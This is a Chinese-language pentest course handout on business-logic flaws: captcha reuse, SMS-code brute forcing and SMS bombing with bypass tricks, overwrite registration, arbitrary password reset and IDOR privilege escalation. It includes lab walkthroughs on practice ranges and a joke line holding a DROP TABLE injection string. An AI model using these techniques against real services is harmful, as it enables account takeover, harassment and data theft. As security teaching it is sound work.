逻辑漏洞

逻辑漏洞

1.基础知识

1.1 什么是逻辑漏洞

逻辑漏洞不是传统意义上的技术漏洞。

它不同于代码执行、SQL 注入、文件上传等因程序实现缺陷而产生的问题。逻辑漏洞更多出现在业务规则设计层面,即系统在业务流程、状态控制、权限判断、身份校验或操作顺序等方面存在不合理之处,导致攻击者在不破坏系统正常功能的情况下,完成原本不应被允许的操作。

可以将其理解为:

程序本身能够正常运行,但业务规则存在缺陷。

逻辑漏洞通常具有以下特点:

  • 系统页面和功能表面上都是正常的
  • 请求内容和格式往往也是合法的
  • 后端通常不会出现明显报错
  • 问题不在于程序是否执行成功,而在于执行条件是否合理、执行对象是否正确、执行权限是否受控

因此,逻辑漏洞的核心不在“技术报错”,而在“业务失控”。
也正因为如此,这类问题通常不像注入类漏洞那样容易通过特征直接识别,而是更依赖测试人员对以下内容的理解:

  • 业务流程是否完整、严密
  • 身份与状态是否正确绑定
  • 参数与操作对象之间是否能够对应
  • 权限边界是否清晰,是否存在越权空间

在实际测试中,发现逻辑漏洞的关键,往往不是寻找异常输入,而是判断一个操作在当前业务场景下是否真的应该被允许发生

这里贴一个软件测试里的经典梗:

一个测试工程师走进一家酒吧,要了一杯啤酒
一个测试工程师走进一家酒吧,要了一杯咖啡
一个测试工程师走进一家酒吧,要了0.7杯啤酒
一个测试工程师走进一家酒吧,要了-1杯啤酒
一个测试工程师走进一家酒吧,要了2^32杯啤酒
一个测试工程师走进一家酒吧,要了一杯洗脚水
一个测试工程师走进一家酒吧,要了一杯蜥蜴
一个测试工程师走进一家酒吧,要了一份asdfQwer@24dg!&*(@
一个测试工程师走进一家酒吧,什么也没要
一个测试工程师走进一家酒吧,又走出去又从窗户进来又从后门出去从下水道钻进来
一个测试工程师走进一家酒吧,又走出去又进来又出去又进来又出去,最后在外面把老板打了一顿
一个测试工程师走进一家酒吧,要了一杯烫烫烫的锟斤拷
一个测试工程师走进一家酒吧,要了NaN杯Null
1T测试工程师冲进一家酒吧,要了500T啤酒咖啡洗脚水野猫狼牙棒奶茶
1T测试工程师把酒吧拆了
一个测试工程师化装成老板走进一家酒吧,要了500杯啤酒并且不付钱
一万个测试工程师在酒吧门外呼啸而过
一个测试工程师走进一家酒吧,要了一杯啤酒';DROP TABLE 酒吧

测试工程师们满意地离开了酒吧。
然后一名顾客点了一份炒饭,酒吧炸了

常见的逻辑漏洞类型

image-20260417112338604

本次课程会结合好靶场这个平台练习,可以注册下:

http://www.loveli.com.cn/

个人中心填写邀请码,可以白嫖14天高级会员:

ffd7152865064095

1.2 逻辑漏洞和传统漏洞的区别

逻辑漏洞与传统技术漏洞的区别,主要不在于“是否危险”,而在于问题产生的位置不同

传统技术漏洞通常来源于程序实现层面的缺陷,例如输入处理不当、边界校验缺失、危险函数调用不安全等;而逻辑漏洞更多来源于业务规则设计不合理,即系统在流程、权限、状态或对象控制上存在缺陷。

对比项传统技术漏洞逻辑漏洞
关注点代码层缺陷业务规则缺陷
常见表现SQL 注入、XSS、RCE、文件上传越权、密码找回绕过、短信重放、重复提交、撞库
发现方式Payload 测试较多流程分析较多
利用前提某个技术点存在缺陷某个业务流程设计不合理
防御重点过滤、编码、补丁、框架修复权限校验、状态约束、流程设计、风控

可以概括为:

传统漏洞更偏向“程序实现有问题”,逻辑漏洞更偏向“业务规则有问题”。

在实际测试中,传统漏洞往往更容易通过特征、报错信息或常见 Payload 触发;而逻辑漏洞则更依赖对业务流程、对象关系、身份边界和权限边界的分析。

1.3 为什么逻辑漏洞重要

逻辑漏洞之所以重要,是因为它经常出现在一些关键业务位置,例如:

  • 登录
  • 注册
  • 密码找回
  • 订单支付
  • 余额变动
  • 账户修改
  • 权限管理
  • 接口调用关系

这些功能通常都与身份、权限、资产或敏感操作直接相关。

也就是说,一旦这些环节存在逻辑漏洞,攻击者即使没有代码执行能力,也不一定需要服务器权限,仍然可能直接完成一些高风险操作,例如:

  • 获取他人信息
  • 重置他人密码
  • 越权查看后台
  • 以普通用户身份执行管理员操作
  • 批量撞库登录
  • 劫持会话
  • 绕过关键验证步骤

因此,逻辑漏洞虽然不像某些技术漏洞那样“表现明显”,但在真实业务系统中,往往具有很强的破坏性。
很多严重的数据泄露、账户接管和越权访问问题,本质上都属于逻辑漏洞的范畴。

1.4 逻辑漏洞的常见排查思路

排查逻辑漏洞时,重点不是先去构造复杂 Payload,而是先从业务规则本身出发,分析下面几个问题:

1. 这个功能本来应该允许谁操作?
2. 这个操作有没有前置条件?
3. 这个条件是在前端校验,还是后端校验?
4. 这个请求里,哪个参数在决定“操作的是谁”?
5. 这个“是谁”到底是由登录态决定,还是由前端参数决定?
6. 验证码、token、短信码、cookie 是否与当前账号强绑定?
7. 同一个请求,换用户、换参数、重放、越步骤、并发之后会怎样?

很多逻辑漏洞,实际上就是在这些问题中暴露出来的。

因此,逻辑漏洞测试的核心思路可以概括为:

  • 先理解业务流程,再识别关键边界,最后验证这些边界是否真正由后端严格控制。*

2. 账户相关逻辑漏洞

507d2db5a5dd87029999f2e6018587cb

2.1 注册

2.1.1 注册功能常见风险

注册功能表面上只是“创建账号”,但在实际业务中通常涉及多个关键控制点,例如:

  • 用户名、手机号、邮箱唯一性
  • 验证码校验机制(图形验证码 / 短信验证码)
  • 邀请码或渠道逻辑
  • 账号初始权限与角色
  • 注册流程步骤控制
  • 注册成功后的自动登录或初始化信息写入

如果这些环节设计不严,就容易产生一系列逻辑漏洞。

2.1.2 图形验证码失效或可绕过

在很多的注册、登录、密码修改等页面都需要用户输入图形验证码,目的是为了防止恶意攻击者进行爆破攻击。

但是,在很多网站,存在图形验证码功能失效的问题,也就是说当第一次输入正确的图形验证码提交后,我不刷新该页面,之后该验证码还有用。

那么,我们如何判断该页面的图形验证码功能是否失效呢?

我们先输入正确的图形验证码和信息后,点击提交。用burpsuite抓包,查看返回的数据。然后我们重放,查看服务器返回的数据。如果第二次重放,服务器返回的是验证码错误的话,那么说明就不存在绕过图形验证码的可能性了。

{"content”"验证码错误!","type":0,"data":null;

如果返回的数据和第一次登陆成功时相同或者非验证码错误的数据,那么该验证码就存在绕过可能。

测试思路:

  • 抓取注册请求,使用同一验证码重复提交
  • 重放请求,观察后端是否重新校验验证码
  • 删除验证码参数测试是否仍可注册
  • 修复措施*

服务器后端应该对图形验证码设置仅用一次,无论输入正确还是错误,该验证码都失效并且返回新的图形验证码。

2.1.3 短信验证码可爆破

在很多网站的注册、登录、修改密码等功能中,都会使用手机短信验证码来完成身份校验。

遇到这类场景时,一个常见的测试思路就是:短信验证码是否存在被爆破的可能。

这类功能的基本流程通常是这样的:

  • 用户先输入手机号,点击获取验证码,后端服务器将短信验证码发送到对应手机;
  • 随后用户再把收到的验证码填入页面,提交注册、登录或修改密码请求;
  • 后端校验验证码是否正确,校验通过后即可完成对应操作。

从流程上看,短信验证码似乎能够起到身份确认作用,但如果相关防护措施做得不充分,这里的验证码机制就可能被攻击者用于暴力尝试。也就是说,攻击者未必一定要真正收到短信,也可能通过批量提交不同验证码的方式,不断尝试命中正确结果。

不过,短信验证码能否被爆破,通常有一个比较重要的前提:

  • 该功能没有图形验证码限制,或者图形验证码已经失效,无法真正起到拦截自动化请求的作用。*

如果页面本身没有图形验证码,那么攻击者就可以直接对短信验证码进行高频尝试;

如果页面虽然存在图形验证码,但验证码可以被绕过、重放,或者只在前端校验,那么它同样无法有效阻止爆破行为。

如下图所示,该页面在注册位置没有设置图形验证码,因此就具备进一步测试短信验证码是否可被爆破的条件。

image-20260417123527377

倘若后端没有对验证码输入错误次数进行限制的话,也就是说无论你验证码输错几次,后端都不会有任何动作,这种情况下理论是可以爆破的。

一般的手机验证码为6位,当然也有4位的。如果是6位的话,理论情况下就需要爆破100万次,如果是4位就是1万次了。

还需要考虑一点的就是后端验证码的时效性,我们进行爆破这么多次,是需要一定时间的。如果该验证码的时效性是一分钟或者低于我们爆破时间的话,也是不能进行爆破的。

image-20260417123610373

短信验证码可爆破形成条件通常包括:

  • 没有图形验证码或图形验证码可绕过
  • 验证码错误次数没有限制
  • 验证码有效期过长
  • 后端未设置频率或次数控制

测试思路:

  • 构造自动化请求尝试不同验证码
  • 观察错误次数是否有限制
  • 检查验证码是否在一定次数或时间后失效
  • 修复措施*

注册登录页面设置图片验证码,并且图片验证码不可被绕过,后端对验证码的时效性和错误次数做限制,超过一定时间或者输入错误次数过多即该验证码失效。

2.1.4 短信验证码重放(短信炸弹)

对于网站发送短信验证码这个功能处,考虑是否可以利用这个功能进行短信验证码批量重放,来制造短信炸弹。

如下截图就是手机验证码发送的接口,我们可以批量重放该数据包,看后端返回的数据

6e27666b6a468a425695a12f244a7259

如下,就是网站后台对同一手机号60秒钟内只能发送一条短信,这样就不存在手机验证码批量重放漏洞了!

image-20260417124822431

有些时候虽然后端会对其进行验证,但是还是可以想办法进行绕过:

  1. 删除Cookie值
  2. 手机号后加空格或者\n

对于手机验证码批量重放的前提是:后端对同一手机号在短时间内的发送短信条数无限制。

还有一类可重放的短信接口,重新发送

image-20260417130858931

在注册页面上如果有重新发送的按钮,可以抓包看下请求,比如这个例子里,点击一下发现直接调用 /sendRegMsg 接口发送了短信,接口只接收一个手机号参数,无其它参数,那就存在短信炸弹的可能。

漏洞形成条件通常包括:

  • 同一手机号短时间内可无限发送验证码
  • 仅依赖前端限制,后端未做校验
  • 可通过修改参数绕过限制(如修改 Cookie、添加特殊字符)

测试思路:

  • 抓取发送验证码接口并重复发送
  • 修改手机号参数(如加空格、换行)测试绕过
  • 删除 Cookie 或更换请求头测试限制是否生效

2.1.5 批量注册

如果注册流程缺乏有效限制,攻击者可以批量创建账号,用于刷量、薅资源或撞库等攻击。

对于如下这种网站注册页面,没有手机短信验证码,那么,我们可以考虑,是否可以批量注册呢?

对于批量注册的前提是:该页面处没有图形验证码或者图形验证码失效或者验证码可复用!

如下注册页面虽然需要输入姓名和身份证号,但是并未对姓名和身份证号去做核对,输入任意的姓名和身份证号即可。

image-20260417125321062

抓包,先用正确的信息注册,记住注册成功时服务器返回的数据

{"content":"/User","type":1,"data":null}

然后对手机号进行批量遍历,可以发现,可以批量注册成功,存在批量注册漏洞。

image-20260417125409263

漏洞形成条件通常包括:

  • 没有验证码或验证码可绕过
  • 注册信息未做真实性校验(如身份证、邮箱等)
  • 没有限制注册频率

例如,在没有验证码的情况下,可以通过脚本遍历手机号批量注册账号。

测试思路:

  • 抓取注册请求并进行批量重放
  • 修改手机号或用户名批量提交
  • 观察是否存在注册频率限制

2.1.6 覆盖注册

覆盖注册是指:同一个手机号或账号已注册,但仍可再次注册并覆盖原有数据。

正常来说,当我们用已经注册了的账号准备再注册时,发现会提示该手机号码已经存在!

image-20260417125536634

我们抓包,发现后端检测该手机号已经注册了的话,会返回 true。如果检测该手机号没注册的话,会返回false。

0a1cd0136f1542ba2730ceb5ffadc90c

我们修改服务器返回的数据包,改为false

image-20260417125732847

可以看到,这个手机号现在可以注册了!

image-20260417125750647

漏洞形成常见原因:

  • 唯一性校验仅在前端实现
  • 后端校验逻辑可被绕过(如返回值可篡改)
  • 注册流程中未做最终一致性校验

例如,通过修改后端返回数据(如将“已注册”改为“未注册”),可以再次注册同一账号。

测试思路:

  • 使用已注册手机号再次注册
  • 抓包并修改返回值
  • 观察是否可以成功覆盖原账号

2.1.7 验证码与账号未绑定

在注册流程中,如果验证码没有和具体手机号或账号绑定,就可能被跨账号使用。

常见问题:

  • 一个验证码可以用于多个手机号注册
  • 验证码只校验“是否正确”,不校验“属于谁”

测试思路:

  • 获取A手机号验证码,用于注册B手机号
  • 修改请求中的手机号参数测试绑定关系

2.1.8 注册角色或参数可篡改

如果注册请求中包含角色、用户等级等参数,并且后端未做校验,就可能导致权限提升。

常见风险:

  • 普通用户注册时可修改为管理员
  • 可注册为代理、内部账号等特殊角色

测试思路:

  • 修改 role / type / userLevel / invite 等参数
  • 删除前端限制字段直接提交请求

2.1.9 其他注册漏洞

  • 1.未验证邮箱/手机号*

情景:应用为了方便用户记录用户名,使用邮箱和手机号作为用户名(因此很多应用在注册的时候就要求用户填写,多数时候都会给用户发送激活信息,激活后才能登录)

缺陷:

1、未审核邮箱/手机号是否有效(及未发送验证信息),从而实现任意注册账号

2、未验证数据库中是否已经存在相同的用户名(导致同一账号,有2个密码,且用户数据产生读取问题)

  • 2.个人信息伪造*

(提示:有的行业会危害不足,防沉迷可能不一样)

需填写身份证等信息,可任意构造绕过身份证与姓名(一般网站危害不足)

如果是防沉迷系统存在此类问题(危害应该足了)

  • 3.前端验证审核绕过*

任意填写注册信息,服务器会对信息进行审核,并通过返回状态给前端判断(如检测是否存在恶意标签等,对返回的状态可修改绕过)

利用:

使用正常账号或合规操作执行,拦截返回信息(判断信息)

使用需要绕过检测的操作,并将服务器返回判断信息替换为正确时的

  • 4.用户名覆盖*

未对数据库中的账号进行核对是否已经存在

利用地方:注册账号、修改个人信息

2.1.10 注册常见测试思路

排查注册功能时,可重点关注以下内容:

  • 验证码是否与手机号或邮箱绑定
  • 验证码是否一次性失效
  • 注册是否依赖前端隐藏字段
  • 是否可以通过修改参数将普通注册改为管理员、代理商等高权限注册
  • 是否存在批量注册、短信轰炸或资源滥用问题

可重点测试以下场景:

1. 抓取注册请求后重复提交
2. 同一个验证码更换手机号后重放
3. 修改 role、type、invite、userLevel 等参数
4. 删除某些前端字段,观察后端是否仍允许注册
5. 先获取验证码,再更换注册对象提交

2.1.11 实验

完成以下实验:

好靶场:

http://www.loveli.com.cn/findbug?keyword=%E6%B3%A8%E5%86%8C%E6%BC%8F%E6%B4%9E

  • 一个可以注册的系统

image-20260417121354588

字典可以用这个:https://github.com/haobachang-1/haobachangBlog/blob/main/dict/chinaname.txt

在注册页爆破存在的用户

image-20260419110841808

image-20260419110832685

得到用户名zhangsan,再利用密码8个8登陆后台

image-20260419110946591

不是只有登录面才可以爆破

验证码的几个也可以一起做了

http://www.loveli.com.cn/findbug?keyword=%E7%9F%AD%E4%BF%A1%E9%AA%8C%E8%AF%81%E7%A0%81

  • 你说我想怎么输入就可以怎么输入

image-20260419111819208

根本没校验验证码的正确性,随便输入就行

image-20260419111852153

  • 什么你告诉我短信码没有什么用

直接删除请求包的验证码字段

image-20260419113045782

  • 短信验证码暴力突破

image-20260419113932956

验证码过短,直接穷举爆破即可

image-20260419114127830

image-20260419114258042

拿到验证码3177

  • 验证码居然会出现这个地方?

image-20260419122337657

image-20260419122415079

  • 短信轰炸-好玩但违法

image-20260419144520782

多次重复发包概率爆flag

  • 另一种短信轰炸

image-20260419145047415

横向爆破,遍历手机号即可

2.2 密码

密码相关功能通常包括两类场景:

一类是用户已登录后的修改密码,另一类是用户未登录时的忘记密码/找回密码

这两类功能看起来都是“把旧密码换成新密码”,但安全要求并不一样。

修改密码关注的是:当前登录用户是否真的有权修改当前账号的密码。

找回密码关注的是:系统是否能够在未登录状态下,仍然准确确认“当前发起重置的人,就是这个账号的合法持有者”。

也正因为如此,密码相关漏洞大多不是出在输入框本身,而是出在身份确认、步骤控制、对象绑定和状态延续这些地方。

2.2.1 忘记/找回密码

2.2.1.1 功能特点

找回密码本质上是在做一件高风险的事情:

在用户没有登录的情况下,重新交还账号控制权。

因此,找回密码流程通常会设计成多步,例如:

输入账号
   ↓
验证手机号 / 邮箱 / 验证码 / 安全问题
   ↓
校验 token 或重置链接
   ↓
设置新密码

只要其中某一步的绑定关系不严,整个找回流程就可能被绕过。

常见的问题包括:

  • 可伪造请求修改接收验证码的手机或邮箱
  • 验证码可爆破
  • token 可猜解
  • 最终提交时改 uid 或用户名
  • 直接访问最后一步页面
  • 把别人的 Cookie 带入重置流程继续改密。
2.2.1.2 常见风险

找回密码场景中,重点关注以下问题:

1. 验证码是否只校验“对不对”,而不校验“是不是这个账号的”
2. 重置链接中的 token 是否和用户名、uid 一一对应
3. 重置链接或验证码是否可以重放
4. 找回流程是否可以跳步骤
5. 最后一步设置新密码时,是否还能修改账号标识
6. 接收验证码的手机号、邮箱是否可被篡改
7. 重置凭证是否在前端、返回包或链接中泄露

其中比较典型的一类问题,是账号与校验凭证没有绑定

有的系统在找回链接里同时放了用户名和校验串,但后端只验证校验串本身是否合法,却不验证它是不是当前这个用户专属的。

这样一来,攻击者就可能把原本属于 A 账号的校验串,替换到 B 账号的用户名参数上,最终完成对 B 账号的密码重置。

比如生成的重置密码url为:http://www.xx.com/xxoo.php?username=user1&code=asdfghjkl 然后由于这里的参数code在服务器端验证的时候,只要其自身的算法满足服务器端的验证就直接通过了,不会去验证这个code是不是和user1账户对应的。

从而,黑客可以直接利用url:http://www.xx.com/xxoo.php?username=user2&code=asdfghjkl 重置帐号user2的密码。

另一类常见问题,是步骤校验没有延续到最后一步。有的系统前两步已经做了验证,但到了“设置新密码”这一步,只要请求格式正常就允许提交,没有继续校验当前用户身份、当前流程状态和当前目标账号是否一致。这类设计很容易出现“前面验证的是自己,最后改掉的却是别人”的情况。

例如:

POST /api/user/resetPassword HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: resetToken=ab12cd34ef56

{
  "account": "18888888888",
  "newPassword": "NewPass@123",
  "confirmPassword": "NewPass@123"
}
2.2.1.3 常见测试思路

排查找回密码时,建议围绕下面几个点来测:

1. 自己走完整个找回流程,记录每一步请求
2. 观察系统到底用什么参数标识“当前要重置的是谁”
3. 在最后一步修改 username / uid / mobile / email
4. 测试验证码、token、重置链接是否一次性失效
5. 尝试直接访问最后一步重置页面
6. 对验证码删除、置空、重放、并发提交进行测试
7. 检查返回包、页面源码、跳转链接中是否泄露重置凭证

2.2.2 任意账号密码重置

任意账号密码重置,本质上是找回密码漏洞里最危险的一类结果。

它不是单独的一种成因,而是多个代码设计缺陷叠加后的最终表现。

常见的几种高危成因包括:

  • 最后一步改密时修改用户名或 uid,即可改到指定账号
  • 验证码未绑定用户,只判断验证码是否正确
  • 修改接收验证码的手机或邮箱后继续重置
  • token、加密串或唯一凭证泄露在返回包、链接或前端代码中
  • 流程页面可直接访问,跳过前置验证
  • 只判断 Cookie 是否存在,不判断该 Cookie 是否经过完整找回流程校验

理解:

系统验证过“有人通过了验证”,但没有验证“通过验证的人,是否就是当前要被重置密码的那个账号”。

一个典型测试路径如下:

使用自己的账号走找回流程
   ↓
拿到验证码 / token / 重置链接 / 流程cookie
   ↓
在最终提交时把账号标识改成目标账号
   ↓
观察是否能够成功修改目标账号密码

如果系统只认“凭证有效”,不认“凭证和对象是否一致”,就容易出现任意账号密码重置。

2.2.3 修改密码

2.2.3.1 功能特点

修改密码和找回密码不同。

修改密码一般发生在用户已登录的场景下,所以这里的核心不是“你是不是这个账号的持有者”,而是:

  • 当前登录态是否真实有效
  • 当前登录用户是否只能修改自己的密码
  • 修改密码时是否还需要旧密码、短信验证码或二次确认
  • 修改完成后旧会话是否及时失效

image-20260417133745750

https://mp.weixin.qq.com/s/8AUu5LXY47Ov6kSKpeKeug

image-20260417133818361

2.2.3.2 常见风险

修改密码功能常见问题主要有以下几类:

1. 未校验旧密码
2. 仅校验前端,不校验后端
3. 可通过修改 userId、username、mobile 等参数修改他人密码
4. 修改密码流程可跳过某一步验证
5. 修改后旧 token、旧 session 仍然有效
6. 密码强度校验只做在前端

其中最值得重点测试的,就是是否可修改他人密码

如果接口里存在 userIduidusernamemobile 之类的对象参数,而后端又直接信任这些参数,就有可能出现“我登录的是 A,但改掉的是 B 的密码”这种情况。

在密码重置三步流程里,如果第三步修改用户名仍然能够成功改密,本质上就是对最终改密接口没有继续做鉴权。

2.1.3.3 常见测试思路
登录A用户
   ↓
进入修改密码功能
   ↓
抓取提交请求
   ↓
观察请求中是否带有 userId / username / mobile / uid
   ↓
将其替换为B用户对应值
   ↓
观察是否能够成功修改B用户密码

除此之外,还要测试以下几点:

1. 删除旧密码参数,后端是否仍允许提交
2. 删除短信验证码参数,后端是否仍返回成功
3. 直接访问最后一步接口,是否能跳过前置验证
4. 改密成功后,旧会话是否仍然可用

2.2.4 修改密码流程是否可跳

很多系统会把修改密码或找回密码设计成多步骤,例如:

验证旧密码 / 验证短信
   ↓
进入设置新密码页面
   ↓
提交新密码

表面上看流程很完整,但如果后端没有对每一步的状态做严格校验,就会出现流程可跳的问题。

这类问题最常见的表现是:

攻击者先正常操作一次,记录最终设置新密码页面的 URL 或接口;

之后再重新测试时,直接访问最后一步页面,或者直接调用最后一步接口,如果系统依然允许提交,就说明流程控制只是做在前端或页面跳转层,没有真正落到后端。

判断标准:

多步骤流程是否安全,不看页面跳了几次,而看后端是否真正记录并校验了每一步已经完成。

测试思路:

1. 正常走一遍流程,记录最后一步地址和请求
2. 重新开始时不做前置验证
3. 直接访问最后一步页面或接口
4. 观察是否仍可设置新密码

2.2.5 密码强度验证是否可抓包修改

密码强度问题看起来不算“高危漏洞”,但很适合作为逻辑校验不严的一个典型例子(可以水洞)。

很多系统在前端要求密码满足以下条件:

  • 长度不少于 8 位
  • 必须包含大小写字母、数字或特殊字符
  • 不能与旧密码相同

但如果这些规则只写在前端,后端不做同样校验,那么攻击者完全可以抓包后直接修改参数,把一个不符合规则的弱密码提交给服务器。

这类问题的测试思路比较简单:

1. 正常进入修改密码或重置密码页面
2. 在前端输入一个满足要求的密码并抓包
3. 将请求中的新密码改为弱密码,例如 123456、111111、aaaaaa
4. 观察后端是否仍接受并修改成功

如果后端仍然返回成功,就说明密码强度策略只是前端限制,不属于真正有效的服务端控制。

这一类问题虽然不一定直接导致越权,但会明显降低账户安全性,也会放大撞库、爆破和密码复用带来的风险。

2.2.6 密码相关漏洞的排查重点

做密码相关测试时,建议不要只盯着“验证码对不对”,而是持续追这几个问题:

1. 系统到底靠什么判断“当前要改的是哪个账号”
2. 这个账号标识是由登录态决定,还是由前端参数决定
3. 验证码、token、重置链接、cookie 是否和该账号强绑定
4. 每一个步骤完成后,后端是否记录并校验当前流程状态
5. 最终设置新密码时,是否仍然重新确认用户身份
6. 修改或重置成功后,旧会话是否立即失效

很多密码相关漏洞,归根到底都不是算法问题,而是对象绑定、状态绑定和步骤绑定没有做好

无论是验证码未绑定用户、token 与用户名不对应、最后一步改 uid、还是直接跳过验证页面,本质上都是“前面验证归前面验证,最后改密归最后改密”,中间没有形成一条真正闭合的服务端校验链。

2.2.7 小结

可以把密码相关漏洞概括成三类核心问题:

1. 身份确认不严
2. 流程控制不严
3. 对象绑定不严

对应到渗透测试里,可以进一步落成三句话:

这个密码到底是在给谁改?
当前这一步是不是必须经过前一步才能到达?
前面拿到的验证码、token、cookie,到底是不是只属于当前这个账号?

只要这三个问题没有校验严密,密码相关功能就很容易出现越权修改、任意重置、流程跳过或弱密码落地等问题。

2.2.8 实验

完成下面高级会员能做的实验

http://www.loveli.com.cn/findbug?keyword=%E5%BF%98%E8%AE%B0%E5%AF%86%E7%A0%81

  • 不是,你忘记密码功能是怎么做的?

image-20260419145422595

修改密码但不需要原密码,那直接遍历出存在的用户名然后手动指定密码即可,但忘记密码这里有次数限制,我们可以爆破登陆处得到存在的用户

image-20260419145912609

得到用户名liuyang,手动修改密码即可

image-20260419145950056

image-20260419150028127

  • 忘记密码大家都在用短信验证码,你用的什么?

image-20260419150224071

先爆破出用户名,这里多爆破出手机号后四位即可

image-20260420134320287

image-20260420134502429

  • 某学校-任意用户密码重置

image-20260420134728449

没有二次验证,输入他人手机号依旧得到验证码

image-20260420134916789

image-20260420134927152

重置密码是身份证后六位、

image-20260420135008711

image-20260420135022060

http://www.loveli.com.cn/findbug?keyword=%E4%BF%AE%E6%94%B9%E5%AF%86%E7%A0%81

  • 修改密码你不去校验登录吗

image-20260420140053212

测到修改密码的隐藏接口

image-20260420141024064

但没有权限,这边试着越权构建请求包

image-20260420141253414

拿到需要的参数

image-20260420143335749

修改成功

image-20260420143354514

image-20260420143437375

  • 听话,咱们只修改自己的密码

登陆测试账户,修改这个账户的密码,发包后修改用户名

image-20260420143857429

image-20260420143959073

http://www.loveli.com.cn/findbug?keyword=%E7%9F%AD%E4%BF%A1%E9%AA%8C%E8%AF%81%E7%A0%81

  • 短信验证码验证问题

拦截响应包,把响应包的success改为true就能通过验证

image-20260420150409940

image-20260420150428632

image-20260420150456144

3. 越权

3.1 越权概述

越权,本质上是访问控制失效
也就是说,系统在鉴权或授权时存在缺陷,导致攻击者能够访问、查看或操作本不属于自己的资源,或者执行本不属于自己权限范围内的功能。

越权漏洞原理及防御方案

越权访问属于典型的 Broken Access Control,这类问题危害大、覆盖广,也长期被认为是 Web 应用中最常见、最值得优先关注的安全问题之一。

从表现上看,越权并不一定意味着“没有登录”。更常见的情况是:

用户已经登录,但系统没有继续校验当前用户是谁、当前资源属于谁、当前角色能做什么,最终导致访问控制失效。

核心问题:后端只校验了请求是否发得过来,却没有严格校验请求是否应该被当前用户执行。

在实际业务中,越权最常见的影响包括:

  • 查看他人资料、订单、工单、消息、文件
  • 修改他人信息、密码、地址、角色
  • 普通用户调用管理员接口
  • 低权限角色执行审核、删除、导出、配置修改等高权限操作

因此,越权问题的关键不在“有没有登录”,而在:

系统是否真正根据当前登录身份,对当前操作对象和当前功能权限做了后端校验。

3.2 越权的常见成因与排查重点

越权之所以高发,是因为它往往不是单点漏洞,而是业务实现中多处设计习惯叠加出来的结果。

常见成因大致可以归纳为以下几类:

  • 后端只校验登录状态、不校验资源归属;
  • 权限控制只做在前端页面或按钮层;
  • 对象标识如 userIdorderIdid 可由前端直接传入;
  • Cookie、Session、JWT 只验证“是否有效”,不验证“对应什么权限”;
  • 多步骤功能中“前面验证过一次,最后一步不再校验”。

还有一些比较小众的:先执行,再校验

也就是说,请求中的敏感操作已经执行了,后面才补做权限判断。这样即使系统“看起来有鉴权代码”,也仍然可能形成真实的越权。

从渗透测试角度看,越权排查时最重要的不是先找 Payload,而是先盯住下面几个问题:

1. 这个请求在操作谁?
2. 这个“谁”是由服务端登录态决定,还是由前端参数决定?
3. 这个功能本来应该允许什么角色使用?
4. 后端是否真的校验了资源归属和角色权限?
5. 这个功能是不是多步骤流程,最后一步是否仍在校验?
6. 如果改 URL、改参数、改 Cookie、改 Token、重放请求,会发生什么?

很多越权漏洞,都是顺着这些问题一点点挖出来的。尤其是以下几类参数,通常都值得重点关注:

  • id
  • uid
  • userId
  • memberId
  • orderId
  • role
  • status
  • isAdmin
  • username
  • mobile

3.3 未授权访问

3.3.1 什么是未授权访问

未授权访问可以看作越权问题中最直接的一种表现。它指的是:

在没有登录、没有合法身份或没有通过正常授权的情况下,直接访问本应受保护的页面、接口或资源。

这一类问题在后台系统、管理端接口、文件下载接口、统计报表接口中尤其常见。

很多系统只是“把入口藏起来了”,但接口本身并没有真正做权限校验,只要知道地址就能直接访问。

3.3.2 常见表现

未授权访问的常见现象包括:

1. 未登录直接访问敏感 URL 返回 200
2. 去掉 Cookie 或 Token 后仍能访问接口
3. 页面不能进,但接口可以直接调
4. 只隐藏菜单或按钮,后台地址本身没有限制
5. 知道文件路径后可直接下载他人文件

有的甚至只要求 Cookie 中某个字段“非空”即可进入后台,并没有真正验证该 Cookie 是否可信。这种情况本质上也是未授权访问的一种。

3.3.3 测试重点

测试未授权访问时,可优先从以下位置入手:

  • 后台管理路径
  • 文件下载与导出接口
  • 用户详情、订单详情、统计报表接口
  • 前端页面加载时自动调用的 XHR / API 请求
  • 移动端或小程序里的隐藏接口

常见测试方法包括:

1. 退出登录后重放原请求
2. 删除 Cookie / Token 重新发送
3. 直接访问猜测型后台路径或 API 路径
4. 只调用接口,不经过前端页面
5. 对静态资源地址、下载链接做直接访问测试

3.4 水平越权

3.4.1 什么是水平越权

水平越权,也叫平行越权,是指:

相同权限等级的用户之间,本应只能访问自己的资源,但攻击者通过修改参数、重放请求或直接对象引用,访问到了其他同级用户的数据或功能。

img

这类问题在真实业务里非常常见。比如通过修改 userId 访问其他用户的帖子、订单详情、私信、个人资料、地址信息、下载文件等。

3.4.2 典型场景

水平越权最常见的场景包括:

  • 查看他人订单详情
  • 修改他人个人资料
  • 查看他人工单、评论、消息
  • 下载他人附件、报告、图片
  • 修改他人收货地址、手机号、头像

很多场景本质上都属于 IDOR(不安全的直接对象引用):前端把对象编号直接交给后端,而后端只按编号取数据,却没有确认该对象是否属于当前用户。

3.4.3 漏洞成因

水平越权通常是这样形成的:

请求中带有 userId / orderId / id
   ↓
后端直接根据该参数查询或修改数据
   ↓
只验证“用户已登录”
   ↓
没有验证“该对象是否属于当前登录用户”
   ↓
形成水平越权

换句话说,问题的根源在于:

后端信任了前端传来的对象标识,却没有校验对象归属。

3.4.4 相关案例

3.4.4.1 案例1:Pikachu 水平越权靶场

img

我们随机使用kobe-123456登录查看个人信息

img

发现在URL中存在用户名等参数,修改为lili

img

这样没有输入密码而查看了其他平级用户的信息,属于水平越权。

3.4.4.2 案例2:某粗粮游戏中心图文贴水平越权

用户a

img

img

用户b

img

img

然后在用户a中点击修改文章抓包修改loginUuidviewpointld 为用户b和文章ID, 也就是我们只需要替换为他人的loginUuid,viewpointld 即可进行越权修改任意修改

img

img

3.4.4 测试关注点

排查水平越权时,思路通常比较直接,准备两个用户:

登录A用户
   ↓
抓取查看 / 修改 / 删除请求
   ↓
把请求中的对象标识改成B用户的
   ↓
观察是否仍返回成功或返回B的数据

需要重点关注的参数包括 iduiduserIdmemberIdorderIdaddressIdfileId 等。

如果系统只是“登录后谁都能调接口”,而没有继续判断资源归属,就很容易出现这类问题。

3.5 垂直越权

3.5.1 什么是垂直越权

垂直越权,也叫纵向越权,是指:

低权限用户执行了高权限用户才能执行的功能。

img

这类问题的核心,不在于“用户有没有登录”,而在于用户当前的权限等级是否足以执行该操作

例如:

  • 普通用户访问管理员后台
  • 普通用户删除文章、审核内容、导出数据
  • 普通用户调用管理接口
  • 普通用户执行商户级、运营级、管理员级操作

